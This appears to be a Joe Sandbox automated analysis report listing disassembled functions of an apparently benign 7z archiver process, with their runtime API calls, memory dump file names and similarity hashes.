                                                                                                                                                                                                                                                                                    • API String ID: 591578422-4150638102
                                                                                                                                                                                                                                                                                    • Opcode ID: 5acd8cd52b168fe2fc51d3cd0102c06d8f0252148c2191c97aee85e0001a7e08
                                                                                                                                                                                                                                                                                    • Instruction ID: f43d57e2f57634fcedae04f9a1bd73fad6f858a625943d70f951a9610d66cfb7
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 5acd8cd52b168fe2fc51d3cd0102c06d8f0252148c2191c97aee85e0001a7e08
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 26A16B77700A84A7CB19EF6AD691B5D7361F784B84F80801ADB6A47B11DF34E9B6C700
                                                                                                                                                                                                                                                                                    Function 00CA9D98 Relevance: 12.1, APIs: 8, Instructions: 134COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                      • Part of subcall function 00CA9BCC: free.MSVCRT ref: 00CA9C11
                                                                                                                                                                                                                                                                                      • Part of subcall function 00CA9BCC: free.MSVCRT ref: 00CA9C19
                                                                                                                                                                                                                                                                                      • Part of subcall function 00CA9BCC: free.MSVCRT ref: 00CA9C3B
                                                                                                                                                                                                                                                                                      • Part of subcall function 00CA9BCC: free.MSVCRT ref: 00CA9D2A
                                                                                                                                                                                                                                                                                    • wcscmp.MSVCRT ref: 00CA9E66
                                                                                                                                                                                                                                                                                    • free.MSVCRT ref: 00CA9ECA
                                                                                                                                                                                                                                                                                    • free.MSVCRT ref: 00CA9ED4
                                                                                                                                                                                                                                                                                    • free.MSVCRT ref: 00CA9F13
                                                                                                                                                                                                                                                                                    • free.MSVCRT ref: 00CA9F1B
                                                                                                                                                                                                                                                                                    • free.MSVCRT ref: 00CA9F28
                                                                                                                                                                                                                                                                                    • free.MSVCRT ref: 00CA9F49
                                                                                                                                                                                                                                                                                    • free.MSVCRT ref: 00CA9F51
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C83404: free.MSVCRT ref: 00C83431
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C83404: memmove.MSVCRT ref: 00C8344C
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: free$memmovewcscmp
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 3584677832-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 419078b5561bcbe998c8bace5f80db078349074a36591a840ea38ec4c74fc1c5
                                                                                                                                                                                                                                                                                    • Instruction ID: a6857a8f8a18ee5ad849fc53f1eb558e8d589c3b913514e19aff023240565cd1
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 419078b5561bcbe998c8bace5f80db078349074a36591a840ea38ec4c74fc1c5
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 6A410432304A8195CA10FF12E98915FA761F786BECF546226EF6E47769DF38C94AC304
                                                                                                                                                                                                                                                                                    Function 00CC2ECC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 77COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00CC2F7E
                                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00CC2F9D
                                                                                                                                                                                                                                                                                    • free.MSVCRT ref: 00CC2FB6
                                                                                                                                                                                                                                                                                    • free.MSVCRT ref: 00CC2FC1
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C82C78: free.MSVCRT ref: 00C82CAE
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C82320: free.MSVCRT ref: 00C8237E
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C82320: fputs.MSVCRT ref: 00C823B8
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C82320: free.MSVCRT ref: 00C823C4
                                                                                                                                                                                                                                                                                    • free.MSVCRT ref: 00CC2FCC
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: free$fputs
                                                                                                                                                                                                                                                                                    • String ID: =
                                                                                                                                                                                                                                                                                    • API String ID: 2444650769-2525689732
                                                                                                                                                                                                                                                                                    • Opcode ID: 40218af8c8f5cebf14e2460a5095f74d7b39ca0d1f579d7e20a065c4070789fb
                                                                                                                                                                                                                                                                                    • Instruction ID: e73e34bc677a7cc91c4bbfaf02799333fd3939b11b467a281ea66bd01c51f1e2
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 40218af8c8f5cebf14e2460a5095f74d7b39ca0d1f579d7e20a065c4070789fb
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 5921B43320494481CA20FB55E495B6EA730E7D6BD4F44122AFF5E43678DF28C945D704
                                                                                                                                                                                                                                                                                    Function 00CCE16E Relevance: 9.1, APIs: 6, Instructions: 65COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: _initterm$__getmainargs__set_app_type__setusermatherr_cexit
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 352749199-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 7bb71b32ccd8ca11bad9e88b1576836c321785d074d4d8a0f920451f9c6aec85
                                                                                                                                                                                                                                                                                    • Instruction ID: c316b13c14a0978a4122f43713ba7464619487a232197c82f4818ac911d7d88a
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 7bb71b32ccd8ca11bad9e88b1576836c321785d074d4d8a0f920451f9c6aec85
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: AE311872214B858AFB10DF25E890F5A7762F3847A4F54432EE66E436B4DB3CD846CB00
                                                                                                                                                                                                                                                                                    Function 00CCE1A6 Relevance: 9.1, APIs: 6, Instructions: 53COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: _initterm$__getmainargs__set_app_type__setusermatherr_cexit
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 352749199-0
                                                                                                                                                                                                                                                                                    • Opcode ID: df01363d105557db7d6733dfac239b6cd4c4f9791f50a13a19417a34d94178c8
                                                                                                                                                                                                                                                                                    • Instruction ID: 5a931d546e2d266a5a4bad89496c0759a1da2900cbbe1d1ba838a2204d282e14
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: df01363d105557db7d6733dfac239b6cd4c4f9791f50a13a19417a34d94178c8
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 7421C976214B8596FB00DF29E890F4A7762F7847A4F541329EA6E836B4DF3CD946CB00
                                                                                                                                                                                                                                                                                    Function 00CCE15A Relevance: 9.1, APIs: 6, Instructions: 53COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: _initterm$__getmainargs__set_app_type__setusermatherr_cexit
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 352749199-0
                                                                                                                                                                                                                                                                                    • Opcode ID: df01363d105557db7d6733dfac239b6cd4c4f9791f50a13a19417a34d94178c8
                                                                                                                                                                                                                                                                                    • Instruction ID: 5a931d546e2d266a5a4bad89496c0759a1da2900cbbe1d1ba838a2204d282e14
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: df01363d105557db7d6733dfac239b6cd4c4f9791f50a13a19417a34d94178c8
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 7421C976214B8596FB00DF29E890F4A7762F7847A4F541329EA6E836B4DF3CD946CB00
                                                                                                                                                                                                                                                                                    Function 00CCE139 Relevance: 9.1, APIs: 6, Instructions: 53COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: _initterm$__getmainargs__set_app_type__setusermatherr_cexit
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 352749199-0
                                                                                                                                                                                                                                                                                    • Opcode ID: df01363d105557db7d6733dfac239b6cd4c4f9791f50a13a19417a34d94178c8
                                                                                                                                                                                                                                                                                    • Instruction ID: 5a931d546e2d266a5a4bad89496c0759a1da2900cbbe1d1ba838a2204d282e14
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: df01363d105557db7d6733dfac239b6cd4c4f9791f50a13a19417a34d94178c8
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 7421C976214B8596FB00DF29E890F4A7762F7847A4F541329EA6E836B4DF3CD946CB00
                                                                                                                                                                                                                                                                                    Function 00CA4610 Relevance: 8.8, APIs: 7, Instructions: 62COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: free
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1294909896-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 899f08306957a66c740d4174f20d1bdb533731c698e095d3b789b8ce7f7e4d05
                                                                                                                                                                                                                                                                                    • Instruction ID: 509137daf20911f34d6369b50e20255b9eb95d6fcbe721c607fc6589d97effaa
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 899f08306957a66c740d4174f20d1bdb533731c698e095d3b789b8ce7f7e4d05
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 44119133740A8586CA24BF72DA5912D3320EB97BB87285231EF3D17795DF60CD628304
                                                                                                                                                                                                                                                                                    Function 00CA419C Relevance: 8.8, APIs: 7, Instructions: 45COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: free
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1294909896-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 29f7608983fcae077df9a41f20b4e1c47ea80a41590d90ea80717b354026d7b0
                                                                                                                                                                                                                                                                                    • Instruction ID: c5435e3a6f22cac9b8ef12d49354c0b37a87be92e3e0bd17eddc9c16d04cf460
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 29f7608983fcae077df9a41f20b4e1c47ea80a41590d90ea80717b354026d7b0
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 39119932311A4485CF18EF75D8A922C7360FBC2F9DB145661AF7E4B765CF24C8469348
                                                                                                                                                                                                                                                                                    Function 00CB3A42 Relevance: 7.7, APIs: 6, Instructions: 151COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: free
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1294909896-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 3c674b90aae9c7a3b63d2bdd2af22403dde61106ae7c1b39dd43b612bf24b9b2
                                                                                                                                                                                                                                                                                    • Instruction ID: 223d75ccdf3480d8d2bb6465920e6792ace00b99ee24db006fa8292799ae73a9
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 3c674b90aae9c7a3b63d2bdd2af22403dde61106ae7c1b39dd43b612bf24b9b2
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 13514772200A8591CB10EF65D4A02EE6721F7C5FC8FA05123EE4E97729DF38CA8AD345
                                                                                                                                                                                                                                                                                    Function 00CC1544 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 53COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00CC15D5
                                                                                                                                                                                                                                                                                      • Part of subcall function 00CCB1C8: memset.MSVCRT ref: 00CCB20D
                                                                                                                                                                                                                                                                                      • Part of subcall function 00CCB1C8: fputs.MSVCRT ref: 00CCB232
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: fputs$memset
                                                                                                                                                                                                                                                                                    • String ID: Extracting archive: $Open$Testing archive:
                                                                                                                                                                                                                                                                                    • API String ID: 3543874852-295398807
                                                                                                                                                                                                                                                                                    • Opcode ID: 57ce32b18a297629e4857599c7fb9a690bf538672504f27dd934718ea67813a2
                                                                                                                                                                                                                                                                                    • Instruction ID: c0a54b1283c698a33d4915c593ac84d4b9c63ed8b03123cf2872a9ea5d5ba09f
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 57ce32b18a297629e4857599c7fb9a690bf538672504f27dd934718ea67813a2
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: E311C432342A8295EF44EB2AD854BFC2360E755B98F5C8536DE1D4A261EF38C5CAD310
                                                                                                                                                                                                                                                                                    Function 00CC2E24 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00CC2E47
                                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00CC2E57
                                                                                                                                                                                                                                                                                    • free.MSVCRT ref: 00CC2EA4
                                                                                                                                                                                                                                                                                      • Part of subcall function 00CC2CFC: fputs.MSVCRT ref: 00CC2D41
                                                                                                                                                                                                                                                                                      • Part of subcall function 00CC2CFC: fputs.MSVCRT ref: 00CC2DCF
                                                                                                                                                                                                                                                                                      • Part of subcall function 00CC2CFC: free.MSVCRT ref: 00CC2DFF
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: fputs$free
                                                                                                                                                                                                                                                                                    • String ID: =
                                                                                                                                                                                                                                                                                    • API String ID: 3873070119-2525689732
                                                                                                                                                                                                                                                                                    • Opcode ID: 5f170de45124cbf05d2114cb4ce541d5ab7e7f6622d8dac823fc30cd2b14e81d
                                                                                                                                                                                                                                                                                    • Instruction ID: ea6288e901acddfc33193a805bc95aff6745542b463345dca6cf055e4fe05057
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 5f170de45124cbf05d2114cb4ce541d5ab7e7f6622d8dac823fc30cd2b14e81d
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 91F08B6230454050E920F726E955B7D5351A7C5FF8F089315ED6D077A8DF2CC9469700
                                                                                                                                                                                                                                                                                    Function 00CB49B0 Relevance: 6.4, APIs: 5, Instructions: 106COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • free.MSVCRT ref: 00CB4A5C
                                                                                                                                                                                                                                                                                    • free.MSVCRT ref: 00CB4A67
                                                                                                                                                                                                                                                                                    • free.MSVCRT ref: 00CB4AE4
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C83314: memmove.MSVCRT ref: 00C83339
                                                                                                                                                                                                                                                                                    • free.MSVCRT ref: 00CB4B0F
                                                                                                                                                                                                                                                                                    • free.MSVCRT ref: 00CB4B1A
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C82130: malloc.MSVCRT ref: 00C82134
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C82130: _CxxThrowException.MSVCRT ref: 00C8214F
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: free$ExceptionThrowmallocmemmove
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 3352498445-0
                                                                                                                                                                                                                                                                                    • Opcode ID: ffa01df610a78eb8c6bf6cbd45b0887f3d376cc6246ea700225451970a264df5
                                                                                                                                                                                                                                                                                    • Instruction ID: 0dd8340738959bf8a3172f3c9583e1a4ba9c93903ebd8d98b1d8ebd947bb7924
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: ffa01df610a78eb8c6bf6cbd45b0887f3d376cc6246ea700225451970a264df5
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 4D416E33249B8491CB14EF26D4542AE7765F786B88F481132EF8E4772ADF38C995D318
                                                                                                                                                                                                                                                                                    Function 00CCE120 Relevance: 6.1, APIs: 4, Instructions: 54COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID:
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                                                                                                                    • Opcode ID: ee94cdd725bc1b4db16937cbd8c93f2249c1c3cc61606458e41898ca9daa4340
